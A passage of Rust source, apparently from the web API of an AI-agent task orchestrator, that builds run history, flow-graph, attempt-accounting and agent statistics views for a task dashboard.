6382}
6383
6384impl PassView {
6385 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
6386 use crate::run::PassEnd;
6387 let (end, cause, label) = match &p.end {
6388 None => ("open", None, "still open".to_owned()),
6389 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
6390 Some(PassEnd::Unrecorded) => (
6391 "unrecorded",
6392 None,
6393 "stopped without recording why (a crash, a kill or a restart; not known)"
6394 .to_owned(),
6395 ),
6396 };
6397 Self {
6398 index: p.index,
6399 resumed: p.resumed,
6400 started_at: p.started_at,
6401 ended_at: p.ended_at,
6402 end,
6403 cause,
6404 label,
6405 cost: settled.map(|t| t.cost),
6406 }
6407 }
6408}
6409
6410#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6412#[serde(rename_all = "snake_case")]
6413enum RunExit {
6414 Unreadable,
6415 Interrupted,
6417 Parked,
6418 MachineBlocked,
6419 QuotaStall,
6420 ResumedQuotaStall,
6424 Merged,
6425 Ready,
6426 Superseded,
6427 AlreadyInBase,
6430 Stalled,
6432 HeldWithPr,
6434 NoopHeld,
6435 Spent,
6437 InProgress,
6438}
6439
6440#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
6441#[serde(rename_all = "snake_case")]
6442enum AttemptCost {
6443 Spent,
6444 Refunded,
6445 None,
6446 Unknown,
6448}
6449
6450impl RunExit {
6451 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
6452 let Some(s) = s else {
6453 return Self::Unreadable;
6454 };
6455 let status = s.status;
6456 if resumed_later {
6457 Self::Interrupted
6458 } else if s.parked {
6459 Self::Parked
6460 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6461 Self::MachineBlocked
6462 } else if !status.done() {
6463 Self::InProgress
6464 } else if matches!(status, RunStatus::Merged) {
6465 Self::Merged
6466 } else if matches!(status, RunStatus::Ready) {
6467 Self::Ready
6468 } else if matches!(status, RunStatus::Superseded) {
6469 Self::Superseded
6470 } else if matches!(status, RunStatus::AlreadyInBase) {
6471 Self::AlreadyInBase
6472 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6473 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6474 {
6475 if resumed {
6476 Self::ResumedQuotaStall
6477 } else {
6478 Self::QuotaStall
6479 }
6480 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6481 Self::HeldWithPr
6482 } else if matches!(status, RunStatus::VerifiedNoop) {
6483 Self::NoopHeld
6484 } else if matches!(status, RunStatus::Stalled) {
6485 Self::Stalled
6486 } else {
6487 Self::Spent
6488 }
6489 }
6490
6491 fn cost(self) -> AttemptCost {
6492 match self {
6493 Self::Parked | Self::QuotaStall | Self::MachineBlocked => AttemptCost::Refunded,
6494 Self::Merged
6495 | Self::Ready
6496 | Self::Stalled
6497 | Self::HeldWithPr
6498 | Self::NoopHeld
6499 | Self::Spent => AttemptCost::Spent,
6500 Self::InProgress => AttemptCost::None,
6501 Self::AlreadyInBase => AttemptCost::Refunded,
6502 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
6503 AttemptCost::Unknown
6504 }
6505 }
6506 }
6507
6508 fn edge_label(self, status: Option<&str>) -> String {
6510 match self {
6511 Self::Unreadable => "record unreadable".to_owned(),
6512 Self::Interrupted => "interrupted before the run finished".to_owned(),
6513 Self::Parked => "parked, attempt refunded".to_owned(),
6514 Self::MachineBlocked => "machine unavailable, attempt refunded".to_owned(),
6515 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
6516 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
6517 Self::Merged => "merged".to_owned(),
6518 Self::Ready => "ready, not merged".to_owned(),
6519 Self::Superseded => "superseded by a later attempt".to_owned(),
6520 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
6521 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
6522 Self::HeldWithPr => "blocked, PR left open".to_owned(),
6523 Self::NoopHeld => "verified no-op".to_owned(),
6524 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
6525 Self::InProgress => "in progress".to_owned(),
6526 }
6527 }
6528
6529 fn explains(self, end: TaskStatus) -> bool {
6532 match self {
6533 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
6534 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
6535 Self::Unreadable | Self::Superseded | Self::Ready => true,
6536 _ => end != TaskStatus::Done,
6537 }
6538 }
6539}
6540
6541#[derive(Debug, Serialize)]
6543struct TaskDetailView {
6544 #[serde(flatten)]
6545 task: TaskView,
6546 max_attempts: usize,
6549 history: Vec<TaskRunView>,
6550 passes_total: usize,
6553 runs_distinct: usize,
6555 flow: FlowView,
6556 followup_origin: Option<FollowUpOrigin>,
6558 runs_unreadable: usize,
6560 attempts_note: &'static str,
6562}
6563
6564const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
6565and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
6566on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
6567the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
6568
6569fn review_branch_of(instruction: &str) -> Option<&str> {
6572 let rest = instruction.strip_prefix("Review the work already on branch `")?;
6573 rest.split('`').next().filter(|b| !b.is_empty())
6574}
6575
6576#[derive(Default)]
6578struct RunSlot<'a> {
6579 n: usize,
6581 resumed: bool,
6583 resumed_later: Option<usize>,
6585 prior: Option<(&'a str, RunStatus)>,
6587 last: bool,
6588 pass: Option<&'a crate::run::RunPass>,
6590 settled: Option<&'a crate::queue::TaskPass>,
6592 pass_n: usize,
6594 passes_of_run: usize,
6595}
6596
6597fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
6600 let RunSlot {
6601 n,
6602 resumed,
6603 resumed_later,
6604 prior,
6605 last,
6606 pass,
6607 settled,
6608 pass_n,
6609 passes_of_run,
6610 } = at;
6611 let short = run::short_of(id).to_owned();
6612 let Some(s) = state else {
6613 return TaskRunView {
6614 activity: None,
6615 n,
6616 id: id.to_owned(),
6617 short,
6618 kind: "unknown",
6619 status: None,
6620 readable: false,
6621 provisional: false,
6622 description:
6623 "This run's record could not be read by this build (written by a different \
6624 magi, or removed), so what kind of attempt it was is unknown."
6625 .to_owned(),
6626 outcome: String::new(),
6627 created_at: None,
6628 pr: None,
6629 exit: RunExit::Unreadable,
6630 attempt: AttemptCost::Unknown,
6631 exit_label: RunExit::Unreadable.edge_label(None),
6632 later_pass: resumed_later,
6633 pass_n,
6634 passes_of_run,
6635 pass: None,
6636 branch: None,
6637 badge: None,
6638 };
6639 };
6640 let branch = review_branch_of(&s.instruction);
6641 let kind = if resumed {
6642 "resume"
6643 } else if branch.is_some() {
6644 "review"
6645 } else if task.solo || s.candidates.len() == 1 {
6646 "solo"
6647 } else {
6648 "competition"
6649 };
6650 let mut description = match kind {
6651 "resume" => {
6652 format!("Resumed run {short}: the same run carried on instead of competing again.")
6653 }
6654 "review" => format!(
6655 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
6656 branch.unwrap_or_default()
6657 ),
6658 "solo" => "Solo run: one implementer straight into review.".to_owned(),
6659 _ => format!(
6660 "Competition: {} candidates judged blind.",
6661 s.candidates.len().max(1)
6662 ),
6663 };
6664 if !resumed && let Some((p, st)) = prior {
6665 description.push_str(&format!(
6666 " A retry: run {p} before it ended {}.",
6667 st.display_label()
6668 ));
6669 }
6670
6671 let status = s.status;
6672 let provisional = matches!(status, RunStatus::Stalled)
6673 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6674 let head = if resumed_later.is_some() {
6675 String::new()
6676 } else {
6677 match status {
6678 RunStatus::Merged => "Merged.".to_owned(),
6679 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6680 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6681 RunStatus::AlreadyInBase => {
6682 "Already in the base: this change landed under other commits, nothing was left to land."
6683 .to_owned()
6684 }
6685 RunStatus::Stalled => {
6686 "Stalled: the judging panel never reached a quorum, so there is no verdict."
6687 .to_owned()
6688 }
6689 RunStatus::Blocked if s.resource_block.is_some() => format!("Blocked: {}.", s.resource_block.as_ref().unwrap().description()),
6690 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6691 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6692 RunStatus::VerifiedNoop => {
6693 "Verified no-op: the candidates found nothing to change.".to_owned()
6694 }
6695 other if other.done() => format!("Ended {}.", other.display_label()),
6696 other => format!("In progress ({}).", other.display_label()),
6697 }
6698 };
6699 let view = pass.map(|p| PassView::of(p, settled));
6700 let recorded_end = view
6701 .as_ref()
6702 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6703 let cost_words = match view.as_ref().and_then(|v| v.cost) {
6704 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6705 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6706 None => "whether its attempt was handed back was not recorded",
6707 };
6708 let pass_note = if passes_of_run > 1 {
6709 format!(
6710 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6711 )
6712 } else {
6713 String::new()
6714 };
6715 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6716 let cause = match v.end {
6718 "parked" => format!("It was stopped on purpose: {}.", v.label),
6719 _ => format!("It {}.", v.label),
6720 };
6721 format!(
6722 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6723 capitalise(cost_words)
6724 )
6725 } else if let Some(k) = resumed_later {
6726 let cause = if s.quota.is_empty() {
6733 "the cause was not recorded: a park, a crash or a restart all look the same from here"
6734 } else {
6735 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6736 };
6737 format!(
6738 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6739 )
6740 } else if s.parked {
6741 match recorded_end.and_then(|v| v.cause.as_ref()) {
6742 Some(cause) => format!(
6743 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6744 cause.label(),
6745 cost_words
6746 ),
6747 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6748 .to_owned(),
6749 }
6750 } else if status == RunStatus::Blocked && s.resource_block.is_some() {
6751 " The machine could not complete this node; no attempt was spent. Restore agent availability and resume the task.".to_owned()
6752 } else if !status.done()
6753 || matches!(
6754 status,
6755 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6756 )
6757 {
6758 String::new()
6759 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6760 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6761 {
6762 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6763 .to_owned()
6764 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6765 " It left a pull request open, so the task was held for a person rather than retried."
6766 .to_owned()
6767 } else if matches!(status, RunStatus::VerifiedNoop) {
6768 " Held for a person to check the claim.".to_owned()
6769 } else if last {
6770 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6771 } else {
6772 " It spent an attempt, and the task moved on to the next run.".to_owned()
6773 };
6774 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6775 let mut attempt = exit.cost();
6776 let mut exit_label = None;
6777 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6778 let spent = match v.cost {
6779 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6780 Some(crate::queue::PassCost::Spent) => ", attempt counted",
6781 None if resumed_later.is_some() => ", refund not recorded",
6782 None => ", attempt refunded",
6783 };
6784 attempt = match v.cost {
6785 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6786 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6787 None if resumed_later.is_some() => AttemptCost::Unknown,
6788 None => attempt,
6789 };
6790 if v.end == "parked" {
6791 exit = RunExit::Parked;
6792 exit_label = Some(match v.cause.as_ref() {
6793 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6794 format!("parked for {}{spent}", c.label())
6795 }
6796 Some(c) => format!("parked ({}){spent}", c.label()),
6797 None => format!("parked{spent}"),
6798 });
6799 } else {
6800 exit_label = Some(format!("stopped without a recorded cause{spent}"));
6801 }
6802 }
6803 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6804 TaskRunView {
6805 activity: None,
6806 n,
6807 id: id.to_owned(),
6808 short,
6809 kind,
6810 status: Some(status.as_str()),
6811 readable: true,
6812 provisional,
6813 description,
6814 outcome: format!("{head}{why}"),
6815 created_at: Some(s.created_at),
6816 pr: s.pr.as_ref().map(|p| p.url.clone()),
6817 exit,
6818 attempt,
6819 exit_label,
6820 later_pass: resumed_later,
6821 pass_n,
6822 passes_of_run,
6823 pass: view,
6824 branch: branch.map(str::to_owned),
6825 badge: None,
6826 }
6827}
6828
6829fn capitalise(s: &str) -> String {
6830 let mut c = s.chars();
6831 c.next().map_or_else(String::new, |f| {
6832 f.to_uppercase().collect::<String>() + c.as_str()
6833 })
6834}
6835
6836#[derive(Debug, Serialize, PartialEq)]
6838struct FlowNode {
6839 key: String,
6841 kind: &'static str,
6843 label: String,
6844 status: Option<&'static str>,
6847 status_of: &'static str,
6850 note: Option<&'static str>,
6852 run_kind: Option<&'static str>,
6853 detail: Option<String>,
6854 decided: bool,
6856 readable: bool,
6857 href: Option<String>,
6858 badge: Option<String>,
6860 started_at: Option<Timestamp>,
6862 time_expected: bool,
6864}
6865
6866#[derive(Debug, Serialize, PartialEq)]
6867struct FlowEdge {
6868 from: String,
6869 to: String,
6870 label: String,
6871 attempt: AttemptCost,
6872}
6873
6874#[derive(Debug, Serialize, PartialEq)]
6875struct FlowView {
6876 nodes: Vec<FlowNode>,
6877 edges: Vec<FlowEdge>,
6878 attempts: usize,
6880 max_attempts: usize,
6881 passes: usize,
6884 runs: usize,
6885}
6886
6887fn task_flow(
6896 task: &Task,
6897 history: &[TaskRunView],
6898 max_attempts: usize,
6899 origin: Option<&FollowUpOrigin>,
6900) -> FlowView {
6901 let max_attempts = task.effective_attempt_limit(max_attempts);
6902 let node = |key: &str, kind, label: String| FlowNode {
6903 key: key.to_owned(),
6904 kind,
6905 label,
6906 status: None,
6907 status_of: "run",
6908 note: None,
6909 run_kind: None,
6910 detail: None,
6911 decided: false,
6912 readable: true,
6913 href: None,
6914 badge: None,
6915 started_at: None,
6916 time_expected: matches!(kind, "start" | "run" | "end"),
6917 };
6918 let mut nodes = Vec::new();
6919 let mut edges: Vec<FlowEdge> = Vec::new();
6920 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6922 let mut n = node(
6923 "chat",
6924 "chat",
6925 format!("Chat {}", crate::queue::short(&link.id)),
6926 );
6927 n.href = Some(link.href);
6928 nodes.push(n);
6929 edges.push(FlowEdge {
6930 from: "chat".to_owned(),
6931 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6932 label: "queued from chat".to_owned(),
6933 attempt: AttemptCost::None,
6934 });
6935 }
6936 if let Some(o) = origin {
6937 let mut n = match &o.parent {
6938 Some(p) => {
6939 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6940 n.status = Some(p.status);
6941 n.status_of = "task";
6942 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6943 n.href = Some(p.href.clone());
6944 n
6945 }
6946 None => {
6947 let mut n = node(
6948 "origin",
6949 "followup",
6950 format!("Follow-up of run {}", o.run.short),
6951 );
6952 n.detail = Some("merged run".to_owned());
6953 n.status = o.run.status;
6954 n.href = o.run.href.clone();
6955 if o.run.href.is_none() {
6956 n.readable = false;
6957 n.note = Some("unreadable");
6958 }
6959 n
6960 }
6961 };
6962 n.decided = true;
6963 let from = n.key.clone();
6964 nodes.push(n);
6965 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6966 let more = o.findings.len().saturating_sub(shown.len());
6967 let label = match (shown.is_empty(), more) {
6968 (true, _) => "open findings".to_owned(),
6969 (false, 0) => format!("open findings {}", shown.join(", ")),
6970 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6971 };
6972 edges.push(FlowEdge {
6973 from,
6974 to: "start".to_owned(),
6975 label,
6976 attempt: AttemptCost::None,
6977 });
6978 }
6979 let mut start = node("start", "start", "Task queued".to_owned());
6980 start.started_at = Some(task.created_at);
6981 nodes.push(start);
6982 let mut prev = "start".to_owned();
6983 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6984 for (i, h) in history.iter().enumerate() {
6985 let key = format!("run-{}", h.n);
6986 let mut n = node(&key, "run", format!("Run {}", h.short));
6987 n.started_at = h
6990 .readable
6991 .then(|| {
6992 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6993 h.created_at
6994 } else {
6995 None
6996 })
6997 })
6998 .flatten();
6999 n.run_kind = Some(h.kind);
7000 n.readable = h.readable;
7001 n.href = Some(format!("#/runs/{}", h.id));
7002 n.decided = h.readable && !h.provisional;
7003 n.detail = h
7004 .branch
7005 .as_ref()
7006 .map(|b| format!("review-only run of branch {b}"));
7007 match h.exit {
7008 RunExit::Unreadable => n.note = Some("unreadable"),
7009 RunExit::Interrupted => n.note = Some("interrupted"),
7010 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
7013 _ => {
7014 n.status = h.status;
7015 n.badge = h.badge.clone();
7016 if h.provisional {
7017 n.note = Some("no verdict");
7018 }
7019 }
7020 }
7021 let into = match h.kind {
7022 "review" => Some(format!(
7023 "review-only run of branch {}",
7024 h.branch.as_deref().unwrap_or("?")
7025 )),
7026 "resume" => Some("resume the same run".to_owned()),
7027 _ if i > 0 => Some("retry".to_owned()),
7028 _ => None,
7029 };
7030 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
7031 let label = match (prev_exit, into) {
7032 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
7033 (Some((_, l, _)), None) => l,
7034 (None, Some(i)) => i,
7035 (None, None) => "claimed".to_owned(),
7036 };
7037 edges.push(FlowEdge {
7038 from: prev.clone(),
7039 to: key.clone(),
7040 label,
7041 attempt,
7042 });
7043 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
7044 prev = key;
7045 nodes.push(n);
7046 }
7047 let mut end = node("end", "end", task.status.as_str().to_owned());
7048 end.status = Some(task.status.as_str());
7049 end.status_of = "task";
7050 if task.status == TaskStatus::Held {
7053 end.started_at = task.held_at;
7054 }
7055 nodes.push(end);
7056 let (label, attempt) = match prev_exit {
7057 None => (
7058 format!("no run yet \u{2192} {}", task.status.as_str()),
7059 AttemptCost::None,
7060 ),
7061 Some((e, l, cost)) if e.explains(task.status) => {
7062 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
7063 }
7064 Some((_, _, cost)) => (
7065 format!("closed by hand: task is {}", task.status.as_str()),
7066 cost,
7067 ),
7068 };
7069 edges.push(FlowEdge {
7070 from: prev,
7071 to: "end".to_owned(),
7072 label,
7073 attempt,
7074 });
7075 FlowView {
7076 nodes,
7077 edges,
7078 attempts: task.attempts,
7079 max_attempts,
7080 passes: history.len(),
7081 runs: distinct_runs(&task.runs),
7082 }
7083}
7084
7085fn distinct_runs(runs: &[String]) -> usize {
7087 let mut seen: Vec<&str> = Vec::new();
7088 for r in runs {
7089 if !seen.contains(&r.as_str()) {
7090 seen.push(r);
7091 }
7092 }
7093 seen.len()
7094}
7095
7096fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
7098 let mut slots = Vec::new();
7099 let mut seen = Vec::new();
7100 for run_id in &task.runs {
7101 if seen.contains(&run_id) {
7102 continue;
7103 }
7104 seen.push(run_id);
7105 let state = read(run_id);
7106 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
7107 s.passes
7108 .iter()
7109 .filter(|p| {
7110 p.task_entry
7111 || task
7112 .passes
7113 .iter()
7114 .any(|t| t.run == *run_id && t.pass_index == p.index)
7115 })
7116 .cloned()
7117 .collect()
7118 });
7119 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
7120 let total = legacy_count.max(mine.len());
7121 let offset = total - mine.len();
7122 for k in 0..total {
7123 let position = task
7126 .runs
7127 .iter()
7128 .enumerate()
7129 .filter(|(_, r)| *r == run_id)
7130 .nth(k.min(legacy_count - 1))
7131 .unwrap()
7132 .0;
7133 slots.push((
7134 run_id,
7135 state.clone(),
7136 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
7137 position,
7138 ));
7139 }
7140 }
7141 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
7142 slots.sort_by_key(|(_, state, pass, _)| {
7143 pass.as_ref()
7144 .map(|p| p.started_at)
7145 .or_else(|| state.as_ref().map(|s| s.created_at))
7146 .map_or((true, task.created_at), |at| (false, at))
7147 });
7148 } else {
7149 slots.sort_by_key(|(_, _, _, position)| *position);
7150 }
7151 let mut history = Vec::with_capacity(slots.len());
7152 let mut seen: Vec<&str> = Vec::new();
7153 let mut prior: Option<(&str, RunStatus)> = None;
7154 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
7155 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
7156 let resumed = k > 0;
7157 seen.push(run_id);
7158 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
7159 let pass = pass.as_ref();
7160 let settled = pass.and_then(|p| {
7161 task.passes
7162 .iter()
7163 .find(|t| t.run == **run_id && t.pass_index == p.index)
7164 });
7165 history.push(task_run_view(
7166 run_id,
7167 state.as_ref(),
7168 RunSlot {
7169 n: i + 1,
7170 resumed,
7171 resumed_later: slots[i + 1..]
7172 .iter()
7173 .position(|(id, _, _, _)| id == run_id)
7174 .map(|off| i + off + 2),
7175 prior,
7176 last: i + 1 == slots.len(),
7177 pass,
7178 settled,
7179 pass_n: k + 1,
7180 passes_of_run: total,
7181 },
7182 task,
7183 ));
7184 if let Some(s) = &state {
7185 prior = Some((run::short_of(run_id), s.status));
7186 }
7187 }
7188 history
7189}
7190
7191fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
7194 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
7195 return;
7196 }
7197 let (_, claimed, _) = run_row_inputs(ui);
7198 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
7199 for h in history
7200 .iter_mut()
7201 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
7202 {
7203 let Ok(state) = read_run(&ui.runs, &h.id) else {
7204 continue;
7205 };
7206 if state.status.done() {
7207 continue;
7208 }
7209 let live = state.liveness_with(
7210 claimed.contains(&h.id),
7211 |p| probe.borrow_mut().status(p),
7212 |p| probe.borrow_mut().started_at(p),
7213 );
7214 let waiting = !ui.questions.open_for(&h.id).is_empty();
7215 h.activity = Some(crate::run_progress::activity(&state, live, waiting));
7216 let display = run_display_status(&state, waiting, live);
7217 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
7218 if matches!(word.as_str(), "stale" | "superseded")
7219 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
7220 {
7221 h.badge = Some(word);
7222 }
7223 }
7224}
7225
7226async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
7227 blocking(move || {
7228 let id = resolve_task(&ui.queue, &id)?;
7229 let task = ui.queue.get(&id)?;
7230 let inv = (task.status == TaskStatus::Blocked)
7231 .then(|| crate::blockers::Inventory::load_for(&ui.queue, &ui.questions, &task));
7232 let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7233 let view = match inv.as_ref() {
7234 Some(inv) => TaskView::with_inventory(task, inv),
7235 None => TaskView::from(task),
7236 }
7237 .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home);
7238 Ok(Json(view))
7239 })
7240 .await
7241}
7242
7243async fn task_detail(
7244 State(ui): State<Arc<Ui>>,
7245 Path(id): Path<String>,
7246) -> ApiResult<Json<TaskDetailView>> {
7247 blocking(move || {
7248 let id = resolve_task(&ui.queue, &id)?;
7249 let task = ui
7250 .queue
7251 .get(&id)
7252 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
7253 let inv = if task.status == TaskStatus::Blocked {
7254 Some(crate::blockers::Inventory::load_for(
7255 &ui.queue,
7256 &ui.questions,
7257 &task,
7258 ))
7259 } else {
7260 None
7261 };
7262 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
7263 mark_badges(&ui, &task, &mut history);
7264 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
7265 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
7266 let origin = task.followup.as_ref().map(|fu| {
7267 followup_origin(
7268 fu,
7269 |tid| ui.queue.get(tid).ok(),
7270 |rid| read_run(&ui.runs, rid).ok(),
7271 )
7272 });
7273 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
7274 let admission = daemon::AdmissionSnapshot::capture(&ui.home, Timestamp::now());
7275 let task_view = match inv.as_ref() {
7276 Some(inv) => TaskView::with_inventory(task, inv),
7277 None => TaskView::from(task),
7278 }
7279 .with_admission(&admission, &ui.queue, inv.as_ref(), &ui.home)
7280 .with_recovery_decisions(&ui.questions);
7281 Ok(Json(TaskDetailView {
7282 max_attempts,
7283 flow,
7284 followup_origin: origin,
7285 passes_total: history.len(),
7286 runs_distinct: distinct_runs(&task_view.task.runs),
7287 history,
7288 runs_unreadable,
7289 attempts_note: ATTEMPTS_NOTE,
7290 task: task_view,
7291 }))
7292 })
7293 .await
7294}
7295
7296#[derive(Debug, Serialize)]
7300struct RateView {
7301 pct: f64,
7302 denominator: usize,
7303}
7304
7305impl RateView {
7306 fn of(numerator: usize, denominator: usize) -> Option<Self> {
7307 (denominator > 0).then(|| Self {
7308 pct: 100.0 * numerator as f64 / denominator as f64,
7309 denominator,
7310 })
7311 }
7312}
7313
7314#[derive(Debug, Serialize)]
7319struct StatsTotalsView {
7320 runs: usize,
7321 merged: usize,
7322 ready: usize,
7323 blocked: usize,
7324 failed: usize,
7325 stalled: usize,
7326 verified_noop: usize,
7327 superseded: usize,
7328 in_progress: usize,
7329 completion_rate: Option<RateView>,
7330 tallied: usize,
7331 split: usize,
7332 split_rate: Option<RateView>,
7333 deliberated: usize,
7334 minds_changed: usize,
7335 converged: usize,
7336 review_rounds: usize,
7337}
7338
7339impl From<&stats::Totals> for StatsTotalsView {
7340 fn from(t: &stats::Totals) -> Self {
7341 Self {
7342 runs: t.runs,
7343 merged: t.merged,
7344 ready: t.ready,
7345 blocked: t.blocked,
7346 failed: t.failed,
7347 stalled: t.stalled,
7348 verified_noop: t.verified_noop,
7349 superseded: t.superseded,
7350 in_progress: t.in_progress,
7351 completion_rate: RateView::of(t.merged + t.ready, t.runs),
7352 tallied: t.tallied,
7353 split: t.split,
7354 split_rate: RateView::of(t.split, t.tallied),
7355 deliberated: t.deliberated,
7356 minds_changed: t.minds_changed,
7357 converged: t.converged,
7358 review_rounds: t.review_rounds,
7359 }
7360 }
7361}
7362
7363#[derive(Debug, Serialize)]
7365struct AgentStatsView {
7366 agent: String,
7367 entered: usize,
7368 wins: usize,
7369 empty: usize,
7370 win_rate: Option<RateView>,
7371 competitive_entered: usize,
7372 competitive_wins: usize,
7373 competitive_win_rate: Option<RateView>,
7374 solo_entered: usize,
7375 solo_adopted: usize,
7376 solo_adoption_rate: Option<RateView>,
7377}
7378
7379impl From<&stats::AgentStats> for AgentStatsView {
7380 fn from(a: &stats::AgentStats) -> Self {
7381 Self {
7382 agent: a.agent.clone(),
7383 entered: a.entered,
7384 wins: a.wins,
7385 empty: a.empty,
7386 win_rate: RateView::of(a.wins, a.entered),
7387 competitive_entered: a.competitive_entered,
7388 competitive_wins: a.competitive_wins,
7389 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
7390 solo_entered: a.solo_entered,
7391 solo_adopted: a.solo_adopted,
7392 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
7393 }
7394 }
7395}
7396
7397#[derive(Debug, Serialize)]
7401struct ReviewerStatsView {
7402 agent: String,
7403 rounds: usize,
7404 seated: usize,
7405 submitted: usize,
7406 adopted: usize,
7407 unique: usize,
7408 timeouts: usize,
7409 adopted_per_round: Option<f64>,
7410 precision: Option<RateView>,
7411 unique_rate: Option<RateView>,
7412 timeout_rate: Option<RateView>,
7413}
7414
7415impl From<&stats::ReviewerStats> for ReviewerStatsView {
7416 fn from(r: &stats::ReviewerStats) -> Self {
7417 Self {
7418 agent: r.agent.clone(),
7419 rounds: r.rounds,
7420 seated: r.seated,
7421 submitted: r.submitted,
7422 adopted: r.adopted,
7423 unique: r.unique,
7424 timeouts: r.timeouts,
7425 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
7426 precision: RateView::of(r.adopted, r.submitted),
7427 unique_rate: RateView::of(r.unique, r.submitted),
7428 timeout_rate: RateView::of(r.timeouts, r.seated),
7429 }
7430 }
7431}
7432
7433#[derive(Debug, Serialize)]
7439struct AdvisorStatsView {
7440 agent: String,
7441 seated: usize,
7442 proposed: usize,
7443 absent: usize,
7444 faint: usize,
7445 strong: usize,
7446 reflection_rate: Option<RateView>,
7447}
7448
7449impl From<&stats::AdvisorStats> for AdvisorStatsView {
7450 fn from(a: &stats::AdvisorStats) -> Self {
7451 Self {
